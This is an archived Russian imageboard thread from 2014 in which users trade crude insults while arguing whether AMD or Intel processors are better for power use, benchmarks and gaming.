>>552286
А калиброванный ваттметр с сертификатом показывает 60Вт. Чому так?
#155 #552314
>>552311
Пруфы будут?
#157 #552319
А у тебя будут?
!C.Y.Raines #158 #552321
>>552317
НАЙДИ 3 ТЕСТА ОТ РАЗНЫХ НЕЗАВИСИМЫХ СОЛИДНЫХ ИСТОЧНИКОВ ТОГДА Я МОЖЕТ БЫТЬ ПОВЕРЮ
#160 #552336
>>552324

>меряет напругу и энергопотребление мокрописьками


>считает показания мокрописек точнее показаний сертифицированного калиброванного прибора


Чегойто проиграл с тебя. Не думал что ты такой ебанутый. Что же, причины твоих страданий теперь ясны - отговаривать не буду, бери интел, ебанутые должны страдать. Разговаривать с тобой больше не буду - все с тобой ясно, это неизлечимо.
#161 #552337
>>552336
И снова сливаешься без всяких пруфов. Ну хоть бы рад доказал, что АМД потребляет меньше интела без голословного пиздежа на интел.
!C.Y.Raines #162 #552338
>>552337
И СНОВА СЛИВАЕШЬСЯ БЕЗ ВСЯКИХ ПРУФОВ. НУ ХОТЬ БЫ РАД ДОКАЗАЛ, ЧТО ИНТЕЛ ПОТРЕБЛЯЕТ МЕНЬШЕ АМД БЕЗ ГОЛОСЛОВНОГО ПИЗДЕЖА НА АМД.
-----
Я СКАЗАЛ ЧТО АМД НЕ ТОЛЬКО ВЫГОДНЕ ИНТЕЛА НО И БЫСТРЕЕ И БУДЕТ ТОПОМ В ДАЛЬНЕЙШЕМ А НЕ УЙДЕТ НА ДНО КАК 4Х ЯДЕРНОЕ ГАВНО ОТ ИНТЕЛА
-----
А ТЕПЕРЬ ПОСМОТРИ НА МЕНЯ, НА МОЙ ТРИПКОД И ПОСМОТРИ НА СЕБЯ - ТУПОВА ЛОХА_СШИФТОДРОЧЕРА И ПОДУМАЙ ЧЬИМ СЛОВАМ ПОВЕРЯТ
#163 #552358
>>552283
И в чем тогда подвох амд? Я уже лет 8 сижу на атлоне 64(уже писал ITT), вроде даже сейчас некоторую йобу на минималках тянет. Хотя может там ядро винрарное (Venice, кажется)
#164 #552360
>>552358
Никакого подвоха. AMD намного мощнее интела — 1/3 лошадиной силы!
!C.Y.Raines #165 #552361
>>552360
ДА,
ВОТ >>552002 НОРМАЛЬНЫЙ ТЕСТ
ОПЕНСОРЦ
ОПТЕМИЗИРОВАН И ПОД ИНТЕЛ И ПОД АМД (САМЫЙ БЫСТРЫЙ И НА ТОМ И НА ДРУГОМ)
#166 #552362
Ну а что насчет игоря? Если сперва поставить 4300, а потом проапаться до 8350 (а можно и не апаться), то пойдет ли йоба на средних с 35+ фпс (мне больше не надо)?
#167 #552364
>>552360
Ну а что насчет игоря? Если сперва поставить 4300, а потом проапаться до 8350 (а можно и не апаться), то пойдет ли йоба на средних с 35+ фпс (мне больше не надо)?
#168 #552368
>>552364
Нет.
!C.Y.Raines #169 #552373
>>552364
60 ФПС ВО ВСЕХ ИГРАХ МИНИМУМ
#170 #552389
>>552364
Пойдёт. В сонсолях-то тоже амуда.
242 Кб, 1036x691
!C.Y.Raines #171 #552615
Список нужных сообщений:
>>529236
>>523136
>>523201
-----
ВОТ >>552002 НОРМАЛЬНЫЙ ТЕСТ
ОПЕНСОРЦ
ОПТЕМИЗИРОВАН И ПОД ИНТЕЛ И ПОД АМД (САМЫЙ БЫСТРЫЙ И НА ТОМ И НА ДРУГОМ)
#172 #552657
>>552615
Как так получается, что ты пропагандируешь AMD, но сам сидишь на интеле?
#173 #552666
>>552364

> Если сперва поставить 4300, а потом проапаться до 8350


Нахуй апгрейдиться? 4300 даже в лютом говнокоде типа собак выдает 40 фпс. А в нормальных играх все 60. Главное карту мощнее купить, а такого проца хватит с головой на весь цикл новых консолей.
https://www.youtube.com/watch?v=Hb7K8SApQfw
#174 #552685
#175 #552702
>>552685
Но ведь у тебя INTEL, почему ты обманываешь?
#176 #552776
>>552666
Тем более заебца. Спасибо, добра тебе
!C.Y.Raines #177 #552915
>>552702
ИНТЕЛ 206 ОЧКОВ ВЫДАТЬ НЕ МОЖЕТ >>552002
ТОКА АМД
#178 #552919
>>552915
Тогда покжи свой AMD.
47 Кб, 417x400
!C.Y.Raines #179 #552930
>>552919
ПРИМЕРНО ТАКОЙ
#180 #552931
>>552930
Скриншот с интернета не считается. Я так и знал, что у тебя нет AMD.
!C.Y.Raines #181 #552932
>>552931
А Я ТАК И ЗНАЛ ЧТО У ТЕБЯ НЕТ ПЕНИСА
#182 #552935
>>552932
Значит ты не отрицаешь, что у тебя нет AMD.
!C.Y.Raines #183 #552936
>>552935
ЗНАЧИТ ТЫ НЕ ОТРИЦАЕШЬ, ЧТО У ТЕБЯ НЕТ ПЕНИСА.
#184 #552938
>>552936
А ты типичный штеудераст с фиксацией на пенисах.
!C.Y.Raines #185 #552940
>>552938
НО ИНТЕЛ НЕ МОЖЕТ ВЫДАТЬ 206 ОЧКОВ В ТЕСТЕ >>552002
ТОКА АМД
#186 #552942
>>552940
Там не написано, что тест выполнен на AMD.
!C.Y.Raines #187 #552943
>>552942
Я НАПИСАЛ ОБ ЭТОМ В СООБЩЕНИИ
#188 #552952
>>552943
На заборе тоже много чего написано.
!C.Y.Raines #189 #552954
>>552952
А ИЩЕ ТЫ СШЫФТОДРОЧЕР БЕЗ ПЕНИСА
А Я АВТОРИТЕТНЫЙ ЭКСПЕРТ С 10-И ЗНАЧНЫМ ТРИПКОДОМ
>>552930 >>552002
#190 #552955
>>552954
Ты простой штеудераст с фиксацией на пенисах.
!C.Y.Raines #191 #552956
>>552955
"КОКОКО" СКАЗАЛ ШИФТОДРОЧЕР БЕЗ ПЕНИСА, НО ПАЦАНЫ НЕ ОБРАТИЛИ ВНИМАНИЯ, ПУСТЬ КУКАРЕКАЕТ ЧЕ С НЕГО ВЗЯТЬ С ПЕТУХА
#192 #552977
>>552389
Нууу, амуда амуде рознь, не?
!C.Y.Raines #193 #553050
>>552977
ДЕШОВЫЕ ПРОЦЫ БЕЗ ПРОБЛЕМ РАЗГОНЯЮТСЯ ДО УРОВНЯ ДОРОГИХ
>>552930 >>552002
#194 #553143
>>553050
Ты так и не пруфанул свой разогнанный дешевый проц.
!C.Y.Raines #195 #553156
>>553143
КАК ТЫ СЕБЕ ЕТО ПРЕДСТАВЛЯЕШ?
ТЕБЯ ПАРАМЕТРЫ РАЗГОНА НА ИНТЕРЕСУЮТ?
#196 #553342
А ну-ка, апу задроты, подскажите. Что будет круче для игорей в 1366*768: 7850к соло с рамой 1600мгц или пень хассвел + 7770/р7 250х?
#197 #553343
>>553342
Вангую с дивана, что а10. В нём-то тот же r7 встроен.
#198 #553379
242

Список нужных сообщений:
>>529236
>>523136
>>523201
-----
ВОТ >>552002 НОРМАЛЬНЫЙ ТЕСТ
ОПЕНСОРЦ
ОПТЕМИЗИРОВАН И ПОД ИНТЕЛ И ПОД АМД (САМЫЙ БЫСТРЫЙ И НА ТОМ И НА ДРУГОМ)
#199 #553493
>>553342

>7850к соло с рамой 1600мгц



Хрень полная. Наглухо упирается в память на 2400, а ты про 1600 что-то пишешь.
!C.Y.Raines #200 #553646
ПЕРЕЧИТАЙТЕ ВЕРХНИЙ ПОСТ
#201 #553654
>>553646
Список нужных сообщений:
>>553513
>>553520
#202 #553674
x86 проблемы
#203 #553704
>>553674
Вскукарекнул АРМоопущенец или померПКзащекан.
#204 #553970
>>553704 Оба раза мимо. Продолжим, Мань?
#205 #553974
>>553970
Айтэниумогосподин, это Вы?
!C.Y.Raines #206 #554039
У МЕНЯ ЕСТЬ АМД И Я ПОДТВЕРЖДАЮ, ЧТО ОП-ВИДЕО ЧИТАЯ ПРАВДА!
>>553551
АДЕКВАТНЫЙ АЛЬФА ВЛАДЕЛЕЦ ИНТЕЛА ТЕПЕРЬ, ЧТОБЫ НЕ БЫТЬ ОБОССАНЫМ, ДОЛЖЕН ПРОДАТЬ ПО ДЕШОВКЕ СВОЮ ПЕКАРНЮ И ПРИОБРЕСТИ ПРОДУКЦИЮ ЛИДЕРА В ОТРАСЛИ АМД
ВЫ ПОНЯЛИ? ЧТОБЫ НЕ БЫТЬ ОБОСАНННЫМ! ЗАШКВАРЕНЫМ НА ВСЮ ЖИЗНЬ!
!C.Y.Raines #207 #554040
У МЕНЯ ЕСТЬ АМД И Я ПОДТВЕРЖДАЮ, ЧТО ОП-ВИДЕО ЧИТАЯ ПРАВДА!
>>553551
АДЕКВАТНЫЙ АЛЬФА ВЛАДЕЛЕЦ ИНТЕЛА ТЕПЕРЬ, ЧТОБЫ НЕ БЫТЬ ОБОССАНЫМ, ДОЛЖЕН ПРОДАТЬ ПО ДЕШОВКЕ СВОЮ ПЕКАРНЮ И ПРИОБРЕСТИ ПРОДУКЦИЮ ЛИДЕРА В ОТРАСЛИ АМД
ВЫ ПОНЯЛИ? ЧТОБЫ НЕ БЫТЬ ОБОСАНННЫМ! ЗАШКВАРЕНЫМ НА ВСЮ ЖИЗНЬ!!!
!C.Y.Raines #208 #554041
ВОТ >>552002 НОРМАЛЬНЫЙ ТЕСТ
ОПЕНСОРЦ
ОПТЕМИЗИРОВАН И ПОД ИНТЕЛ И ПОД АМД (САМЫЙ БЫСТРЫЙ И НА ТОМ И НА ДРУГОМ)
55 Кб, 1076x389
!C.Y.Raines #209 #554174
КСТАТИ ПОЧЕМУ РАЗДЕЛ НЕ ПЕРЕШОЛ НА НОВЫЙ ДВИЖОК?
ВСПОМОГАТЕЛЬНЫЙ СОФТ ИНТЕЛОВСКИХ 100 РУБЛЕВОК НЕ УСПЕЛИ ПЕРИПИСАТЬ?
#210 #554190
>>553974 Нет. К айтениуму я бы даже прикасаться не стал. Продолжим?
#211 #554250
Забаньте уже эту поехавшую маню. Задолбал постоянный бамп говнотреда с утешениями нищего амудария.
sage #212 #554251
>>554250
Сажа отклеилась.
sage #213 #554253
Сажи АМуДиле.
!C.Y.Raines #214 #554447
ПОДВЕДИ ИТОГИ:
В ИГРАХ ИНТЕЛ СОСЕТ https://www.youtube.com/watch?v=4et7kDGSRfc
В АДЕКВАТНЫХ ТЕСТАХ СОСЕТ >>552002
БЫДЛО ПОКУПЕТ И ПРОСИТ ИЩЕ
---
АДЕКВАТНЫЙ АЛЬФА ВЛАДЕЛЕЦ ИНТЕЛА ТЕПЕРЬ, ЧТОБЫ НЕ БЫТЬ ОБОССАНЫМ, ДОЛЖЕН ПРОДАТЬ ПО ДЕШОВКЕ СВОЮ ПЕКАРНЮ И ПРИОБРЕСТИ ПРОДУКЦИЮ ЛИДЕРА В ОТРАСЛИ АМД
ВЫ ПОНЯЛИ? ЧТОБЫ НЕ БЫТЬ ОБОСАНННЫМ! ЗАШКВАРЕНЫМ НА ВСЮ ЖИЗНЬ!
#215 #554691
бумпикнем
#216 #555003
бумп адекватному тесту
#217 #555468
БУМП
!C.Y.Raines #218 #556108
А CUDA ОНА КАК OPEN-CL ТОКА УПРОЩЕННАЯ
Обновить тред
Двач.hk не отвечает.
Вы видите копию треда, сохраненную 24 августа 2014 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
« /hw/В начало тредаВеб-версияНастройки
/a//b//mu//s//vg/Все доски